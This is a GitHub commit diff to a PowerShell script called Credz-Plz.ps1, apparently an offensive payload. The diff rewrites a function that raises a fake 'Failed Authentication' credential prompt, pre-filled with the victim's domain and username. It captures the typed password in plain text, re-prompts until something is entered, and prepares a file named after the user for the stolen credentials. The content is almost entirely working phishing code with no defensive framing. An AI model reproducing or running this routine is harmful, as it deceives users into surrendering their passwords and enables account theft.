Update Credz-Plz.ps1

This commit is contained in:
I-Am-Jakoby 2023-01-03 20:37:35 -06:00 committed by GitHub
parent 694e8166c6
commit eb4f08e897
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -52,18 +52,25 @@ $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
#>
function Get-Creds {
do{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
Get-Creds
}
$creds = $cred.GetNetworkCredential() | fl
return $creds
# ...
$done = $true
} until ($done)
$form = $null
while ($form -eq $null)
{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
$cred.getnetworkcredential().password
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
$form = $null
}
else{
$creds = $cred.GetNetworkCredential() | fl
return $creds
}
}
}